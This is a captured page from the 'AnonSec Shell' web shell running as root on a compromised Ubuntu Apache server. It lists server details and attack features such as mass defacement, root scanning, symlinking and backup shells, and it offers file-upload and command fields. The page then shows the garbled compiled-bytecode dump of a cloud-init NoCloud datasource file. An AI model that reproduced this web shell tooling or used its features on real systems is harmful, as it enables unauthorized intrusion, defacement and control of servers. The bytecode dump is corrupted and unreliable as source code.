AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceNoCloud.cpython-310.pyc
o

m[h�?�@s:ddlZddlZddlZddlmZddlmZmZmZm	Z	ddl
mZe�e
�ZGdd�dej�Zddd�Zdd	d
�Zddd�Zd
d�ZGdd�de�ZeejffeejejffgZdd�Ze
dkr�ddlmZejejd�edZe	�e�\Z Z!Z"Z#e$de ���e$de!���e$de"���e$de#���dSdS)�N)�partial)�dmi�	lifecycle�sources�util)�enicsveZdZdZdd�Z�fdd�Zdd�Zdd	�Zed
d��Z	de
fd
d�Zdd�Zdd�Z
dd�Zedd��Z�ZS)�DataSourceNoCloud�NoCloudcCsVtj�||||�d|_tj�|jd�tj�|jd�g|_d|_d|_	d|_
d|_dS)N�nocloud�nocloud-net)�/�file://)r�
DataSource�__init__�seed�os�path�join�seed_dir�	seed_dirs�supported_seed_starts�_network_config�_network_eni��self�sys_cfg�distro�paths�r�E/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceNoCloud.pyrs�
zDataSourceNoCloud.__init__csFt���d|jrd|j�d�nd|jtjkr d|j�d�SdS)z@append seed and dsmode info when they contain non-default values� z[seed=�]�z[dsmode=)�super�__str__r�dsmoder�DSMODE_NETWORK�r��	__class__rrr$&s�������zDataSourceNoCloud.__str__cCs|t�d�}|�t�d��t�d|���}|�t�d|����|�t�d|��tt|�t|�@�}|jdd�|S)Nz	TYPE=vfatzTYPE=iso9660zLABEL=%szLABEL_FATBOOT=%sT)�reverse)r�find_devs_with�extend�upper�lower�list�set�sort)r�label�fslist�
label_list�devlistrrr�_get_devices3s
zDataSourceNoCloud._get_devicescCs�d|jd�}g}idddd�}zi}t�d�}|r*t||�r*|�d�t|d|i�}Wnty;t�t	d�Yd	Swzi}t|�rO|�d
�t|d|i�}Wnty`t�t	d�Yd	Swddgd
dgd�}|j
D]'}ztj|fi|��}|�|�t	�d|�t||�}Wn	t
y�Yqmw|j�d�r�|�d�|jd|dd<d|jvr�d|jvr�t||j�}|�d�dd�}	|j�dd�}
|
du�rE|
��dkr�tjdddd�|�|
�D]c}z5t	�d|�z	t�||	|�}Wnt
�yt	�d||
�YWq�wt||�}t	�d|�|�|�Wn,t�y3}z|jtjk�r)�WYd}~q�d}~wtj�yDt�t	d|�Yq�w|�sJd	Sd|dv�r�|dd}
d	}|jD]
}|
�|��rh|}n�q\|�st|�|
�d	St�|
�}
tj|
dd �\}}}}t	�d!|
�t�|d|g�|d<||d<||d
<|�|
�t�|d|g�|d<|� |d�d"�g�|_|jt!j"k�r�t	�d#||j�d	Sd$�#|�|_$|d|_%|d|_&|d
|_'|d|_(|d�d%�|_)d&S)'Nr
)�instance-idr%r")�	meta-data�	user-data�vendor-data�network-config�system-serial-numberrr8zUnable to parse dmi dataF�cmdlinez!Unable to parse command line datar9r:r;)�required�optionalzUsing seeded data from %s�seedfrom�ds_config_seedfrom�	ds_configcSstj|fi|��S�N)r�pathprefix2dict)�mp�datarrr�_pp2d_callback�sz3DataSourceNoCloud._get_data.<locals>._pp2d_callback�fs_label�cidatazCustom fs_label keys�24.3z(This key isn't supported by ds-identify.��
deprecated�deprecated_version�
extra_messagezAttempting to use data from %sz)device %s with label=%s not a valid seed.zUsing data from %sz(Failed to mount %s when looking for data)�timeoutzUsing seeded cache data from %sr%z&%s: not claiming datasource, dsmode=%s�,znetwork-interfacesT)*r%r�
read_dmi_data�load_cmdline_data�append�_merge_new_seed�	Exceptionr�logexc�LOGrrD�debug�
ValueError�ds_cfg�getr.r�	deprecater6�mount_cb�warning�OSError�errno�ENOENT�MountFailedErrorr�
startswith�_log_unusable_seedfrom�sub_dmi_vars�read_seeded�
mergemanydict�_determine_dsmoder�DSMODE_DISABLEDrr�metadata�userdata_raw�vendordata_rawrr)r�defaults�found�mydata�md�serial�pp2d_kwargsr�seededrGr2�dev�er@�	seedfound�proto�md_seed�ud�vd�_rrr�	_get_data?s���

��
���


�


����

����
�


�

���



zDataSourceNoCloud._get_datacCs|jst��r	dnd|_|jS)N�lxdr
)�_platform_typer�is_lxdr'rrr�
platform_type�szDataSourceNoCloud.platform_typer@cC�t�d||j|�dS)�!Stage-specific level and message.zN%s only uses seeds starting with %s - will try to use %s in the network stage.N)rW�infor�rr@rrrrd�s�z(DataSourceNoCloud._log_unusable_seedfromcCstjS)z=Return unknown when 'cloud-name' key is absent from metadata.)r�METADATA_UNKNOWNr'rrr�_get_cloud_name�sz!DataSourceNoCloud._get_cloud_namecCs$|j�d�r	d}nd}d||jfS)z/Return the subplatform metadata source details.z/devzconfig-diskzseed-dirz%s (%s))rrc)r�subplatform_typerrr�_get_subplatform�sz"DataSourceNoCloud._get_subplatformcCs:|��}|sdSt|d|jg�}t|d�}|sdS||kS)Nr)�dirs)�get_instance_id�getattrr�_quick_read_instance_id)rr�currentr��quick_idrrr�check_instance_id�s
z#DataSourceNoCloud.check_instance_idcCs8|jdur|jdurtjdddd�t�|j�|_|jS)Nz$Eni network configuration in NoCloudrJz,You can use network v1 or network v2 insteadrK)rrrr\r�convert_eni_datar'rrr�network_configs

�z DataSourceNoCloud.network_config)�__name__�
__module__�__qualname__�dsnamerr$r6r|�propertyr��strrdr�r�r�r��
__classcell__rrr(rrs
%

rc	Cs�|durg}d}i}t|�r||vr||S|D].}|durqztj|dgd�}t�|d�}|r<||vr<||WSWqtyFYqwdS)Nr7r8)r>)rRrrD�	load_yamlrY)r��iid_key�fill�drFrprrrr�s&��r�cCs�dtjfdtjfg}|D]9\}}t|||�sqd|vrdS|�d�}|r?|�d�r2tj|d<dS|�d�r<tj|d<dS||d<dSdS)	Nz
ds=nocloudzds=nocloud-netr%Tr@�zhttp://zhttps://zftp://zftps://)r
rF)r�DSMODE_LOCALr&�parse_cmdline_datar[rc)r�r=�pairs�idstrr%r@rrrrR4s*�
�

�
�rRc	Cs�|durt��}d|}d||vsd||vsdSd}|��D]
}|�|�r-|�dd�}q |d�d�}t|�dkrB|dd�}nd}d	d
dd�}|D]+}|dkrSqLz
|�dd�\}	}
Wn
tyj|}	d}
Ynw|	|vrs||	}	|
||	<qLd
S)Nz %s z %s;Fr"�=��;rzlocal-hostnamer7r@)�h�i�sT)r�get_cmdline�splitrc�lenrU)�ds_idr�r=�argline�tok�tmp�kvpairs�s2l�item�k�vrrrr�Us8
��
r�cCs�|��}|�di�}t|dt�st�|d�}t�|d|g�|d<|�d�r2t�|�d��|d<d|vr<|d|d<d|vrF|d|d<|S)Nr8r;r9r:)�copyr[�
isinstance�dictrr�rg)�currs�ret�newmdrrrrT}s
rTc@s*eZdZdd�Zdefdd�Zdd�ZdS)	�DataSourceNoCloudNetcCst�||||�d|_dS)Nr�)rrrrrrrr�s
zDataSourceNoCloudNet.__init__r@cCr�)r�z6%s only uses seeds starting with %s - %s is not valid.N)rWr^rr�rrrrd�s�z+DataSourceNoCloudNet._log_unusable_seedfromcCs�ttjdddd�}dt��kr|�dSt�t�d�pd���}||j	��dfvr8t
�d	|�|dkr6|�dS|j�
d
i��
di��
d�rNt
�d
|�dSdS)z�Check dmi and kernel command line for dsname

        NoCloud historically used "nocloud-net" as its dsname
        for network timeframe (DEP_NETWORK), which supports http(s) urls.
        For backwards compatiblity, check for that dsname.
        z!The 'nocloud-net' datasource namez24.1zgUse 'nocloud' instead, which uses the seedfrom protocolscheme (http// or file://) to decide how to run.rKrTr<r"zJMachine is configured by dmi serial number to run on single datasource %s.�
datasourcer	r@zMMachine is configured by system configuration to run on single datasource %s.F)rrr\r�
parse_cmdline�parse_cmdline_or_dmirrQr.r�rWrXrr[)r�log_deprecatedrqrrr�	ds_detect�s@�
�����zDataSourceNoCloudNet.ds_detectN)r�r�r�rr�rdr�rrrrr��s		r�cCst�|t�SrC)r�list_from_depends�datasources)�dependsrrr�get_datasource_list�sr��__main__)�argv)�levelr�zseeded: zud: zvd: z	network: rC)%r`�loggingr�	functoolsr�	cloudinitrrrr�
cloudinit.netr�	getLoggerr�rWrrr�rRr�rTr��DEP_FILESYSTEM�DEP_NETWORKr�r��sysr��basicConfig�DEBUGr@rfrxryrz�network�printrrrr�<module>s:


	

!(
E��

Anon7 - 2022
AnonSec Team